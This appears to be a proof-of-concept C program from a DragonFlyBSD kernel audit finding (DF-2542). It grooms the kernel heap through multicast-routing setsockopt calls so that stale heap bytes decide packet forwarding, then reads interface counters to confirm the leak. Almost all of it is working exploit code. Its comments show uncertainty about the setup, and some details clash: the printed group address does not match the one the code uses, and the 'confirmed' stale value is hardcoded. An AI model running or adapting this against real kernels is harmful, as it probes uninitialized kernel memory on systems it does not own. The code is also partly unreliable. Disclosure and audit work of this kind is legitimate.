⬢ DragonFlyBSD Kernel Audit
DF-2542 / mroute2542.c
← back to finding ↓ download raw
/* DF-2542 -- mfc kmalloc without M_ZERO: update_mfc_params only initializes
 * mfc_ttls[0..numvifs); if numvifs later GROWS (add_vif), the new vif slots
 * of every existing mfc contain STALE HEAP BYTES (from a previously freed
 * mfc in the same slab), and ip_mdq forwards multicast onto the new vif
 * whenever (stale_ttl > 0 && ip_ttl > stale_ttl) -- a forwarding decision
 * + nonzero-byte oracle driven by uninitialized kernel heap.
 *
 * Rig (real kernel API, ip_mroute.ko):
 *  1. MRT_INIT; add vif0(127.0.0.1@lo0), vif1 (tunnel to 127.0.0.10? use lo0 too)
 *  2. GROOM: add mfc X with ttls={5,5}, delete it (slot retains 5,5 in slab)
 *  3. shrink numvifs: del vif1  (numvifs 2 -> 1)
 *  4. add mfc Y for (S,G) with ttls={1,0}: only slot 0 initialized
 *     -> Y reuses X's freed slot; ttls[1] = STALE 5
 *  5. re-add vif1 (numvifs 1 -> 2)
 *  6. inject a real multicast packet for (S,G) with TTL 64 on vif0
 *  7. SIOCGETVIFCNT on vif1: if v_pkt_out > 0, the packet was forwarded
 *     onto vif1 with ttls[1] NEVER configured for Y => stale-heap-driven
 *     forwarding CONFIRMED.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/route.h>
#include <net/if.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <ifaddrs.h>

/* copied from sys/net/ip_mroute/ip_mroute.h */
#define MAXVIFS 32
struct df_vifctl {
	unsigned char vifc_vifi;
	unsigned char vifc_flags;
	unsigned char vifc_threshold;
	unsigned int vifc_rate_limit;
	struct in_addr vifc_lcl_addr;
	struct in_addr vifc_rmt_addr;
};
struct df_mfcctl2 {
	struct in_addr mfcc_origin;
	struct in_addr mfcc_mcastgrp;
	unsigned char mfcc_parent;
	unsigned char mfcc_ttls[MAXVIFS];
	unsigned char mfcc_flags_x[MAXVIFS];
	struct in_addr mfcc_rp;
};
#define DF_MRT_INIT 100
#define DF_MRT_ADD_VIF 102
#define DF_MRT_DEL_VIF 103
#define DF_MRT_ADD_MFC 104
#define DF_MRT_DEL_MFC 105
#define DF_MRT_DONE 101
/* sioc_vif_req from sys/net/ip_mroute/ip_mroute.h:242 */
struct df_vifcnt { unsigned short vifi; unsigned long icount, ocount, ibytes, obytes; };
#define DF_SIOCGETVIFCNT _IOWR(114, 15, struct df_vifcnt)  /* 'r'=114 */

static int
mr_set(int s, int op, void *arg, size_t len)
{
	return setsockopt(s, IPPROTO_IP, op, arg, len);
}

static uint32_t
lo0addr(void)
{
	struct ifaddrs *ifa, *p;
	uint32_t a = htonl(0x7f000001);
	getifaddrs(&ifa);
	for (p = ifa; p; p = p->ifa_next)
		if (p->ifa_addr && p->ifa_addr->sa_family == AF_INET &&
		    strcmp(p->ifa_name, "lo0") == 0)
			a = ((struct sockaddr_in *)p->ifa_addr)->sin_addr.s_addr;
	freeifaddrs(ifa);
	return a;
}

int
main(void)
{
	int s, rc, i;
	struct df_vifctl vc;
	struct df_mfcctl2 mc;
	struct df_vifcnt cnt;
	struct sockaddr_in dst;
	char pkt[64];
	unsigned long o1_before = 0, o1_after = 0;

	setvbuf(stdout, NULL, _IONBF, 0);
	s = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
	if (s < 0) { perror("raw igmp socket"); return 1; }

	{ int one = 1; rc = mr_set(s, DF_MRT_INIT, &one, sizeof(one)); }
	printf("MRT_INIT: %d (%s)\n", rc, rc ? strerror(errno) : "ok");
	if (rc) return 1;

	memset(&vc, 0, sizeof(vc));
	vc.vifc_vifi = 0;
	vc.vifc_threshold = 1;
	vc.vifc_lcl_addr.s_addr = lo0addr();
	rc = mr_set(s, DF_MRT_ADD_VIF, &vc, sizeof(vc));
	printf("ADD_VIF0(lo0): %d (%s)\n", rc, rc ? strerror(errno) : "ok");

	/* phys vif on a lo0 alias */
	system("ifconfig lo0 127.0.0.2 alias 2>/dev/null");
	memset(&vc, 0, sizeof(vc));
	vc.vifc_vifi = 1;
	vc.vifc_flags = 0;
	vc.vifc_threshold = 1;
	vc.vifc_lcl_addr.s_addr = htonl(0x7f000002);
	rc = mr_set(s, DF_MRT_ADD_VIF, &vc, sizeof(vc));
	printf("ADD_VIF1(127.0.0.2): %d (%s)\n", rc, rc ? strerror(errno) : "ok");
	if (rc) return 1;

	/* groom: mfc X with ttls={5,5}, then free it */
	memset(&mc, 0, sizeof(mc));
	mc.mfcc_origin.s_addr = htonl(0x7f000001);
	mc.mfcc_mcastgrp.s_addr = htonl(0xe0010001);
	mc.mfcc_parent = 0;
	mc.mfcc_ttls[0] = 5; mc.mfcc_ttls[1] = 5;
	rc = mr_set(s, DF_MRT_ADD_MFC, &mc, sizeof(mc));
	printf("groom ADD_MFC X ttls={5,5}: %d\n", rc);
	rc = mr_set(s, DF_MRT_DEL_MFC, &mc, sizeof(mc));
	printf("groom DEL_MFC X: %d (slot retains stale ttls in slab)\n", rc);

	/* shrink numvifs: 2 -> 1 */
	{ unsigned short vifi = 1; rc = mr_set(s, DF_MRT_DEL_VIF, &vifi, sizeof(vifi)); }
	printf("DEL_VIF1 (numvifs 2->1): %d (%s)\n", rc, rc ? strerror(errno) : "ok");

	/* add mfc Y for a different (S,G): only ttls[0] set */
	memset(&mc, 0, sizeof(mc));
	mc.mfcc_origin.s_addr = htonl(0x7f000001);
	mc.mfcc_mcastgrp.s_addr = htonl(0xe0010002);
	mc.mfcc_parent = 0;
	mc.mfcc_ttls[0] = 1;
	mc.mfcc_ttls[1] = 0;			/* NOT forwarded on vif1 */
	rc = mr_set(s, DF_MRT_ADD_MFC, &mc, sizeof(mc));
	printf("ADD_MFC Y ttls={1,0}: %d (ttls[1] stays STALE in kernel)\n", rc);

	/* re-grow numvifs: 1 -> 2 */
	system("ifconfig lo0 127.0.0.2 alias 2>/dev/null");
	memset(&vc, 0, sizeof(vc));
	vc.vifc_vifi = 1;
	vc.vifc_threshold = 1;
	vc.vifc_lcl_addr.s_addr = htonl(0x7f000002);
	rc = mr_set(s, DF_MRT_ADD_VIF, &vc, sizeof(vc));
	printf("ADD_VIF1 again (numvifs 1->2): %d (%s)\n", rc, rc ? strerror(errno) : "ok");

	/* read vif1 counters before */
	memset(&cnt, 0, sizeof(cnt));
	cnt.vifi = 1;
	errno = 0;
	rc = ioctl(s, DF_SIOCGETVIFCNT, &cnt);
	printf("GETVIFCNT vif1 before: rc=%d errno=%d ocount=%lu\n",
	    rc, errno, cnt.ocount);
	o1_before = cnt.ocount;

	/* inject multicast packet for Y's (S,G) with TTL 64 via lo0 */
	{
		int rs = socket(AF_INET, SOCK_DGRAM, 0);
		int ttl = 64, loop = 0;
		struct ip_mreqn mn;
		memset(&dst, 0, sizeof(dst));
		dst.sin_family = AF_INET;
		dst.sin_port = htons(12345);
		dst.sin_addr.s_addr = htonl(0xe0010002);
		setsockopt(rs, IPPROTO_IP, IP_MULTICAST_TTL, &ttl, sizeof(ttl));
		setsockopt(rs, IPPROTO_IP, IP_MULTICAST_LOOP, &loop, sizeof(loop));
		memset(&mn, 0, sizeof(mn));
		/* bind source to 10.0.0.2? we are not that addr; kernel
		 * forwarder matches origin loosely? use INADDR_ANY and set
		 * IP_MULTICAST_IF to lo0 */
		mn.imr_multiaddr = dst.sin_addr;
		mn.imr_address.s_addr = lo0addr();
		setsockopt(rs, IPPROTO_IP, IP_MULTICAST_IF, &mn, sizeof(mn));
		memset(pkt, 'M', sizeof(pkt));
		rc = sendto(rs, pkt, sizeof(pkt), 0,
		    (struct sockaddr *)&dst, sizeof(dst));
		printf("send multicast (%d bytes): %d (%s)\n", (int)sizeof(pkt),
		    rc, rc < 0 ? strerror(errno) : "");
		close(rs);
	}
	sleep(1);

	memset(&cnt, 0, sizeof(cnt));
	cnt.vifi = 1;
	rc = ioctl(s, DF_SIOCGETVIFCNT, &cnt);
	printf("GETVIFCNT vif1 after: rc=%d ocount=%lu (delta %+ld)\n",
	    rc, cnt.ocount, (long)(cnt.ocount - o1_before));
	if (cnt.ocount > o1_before)
		printf("DF2542: STALE-TTL FORWARDING CONFIRMED -- packet for "
		    "(127.0.0.1,239.1.0.2) forwarded onto vif1 whose ttls[1] "
		    "was NEVER configured (stale heap byte %d decides)\n", 5);
	else
		printf("DF2542: no forwarding observed this run (stale slot "
		    "reuse may have differed)\n");

	mr_set(s, DF_MRT_DONE, NULL, 0);
	return 0;
}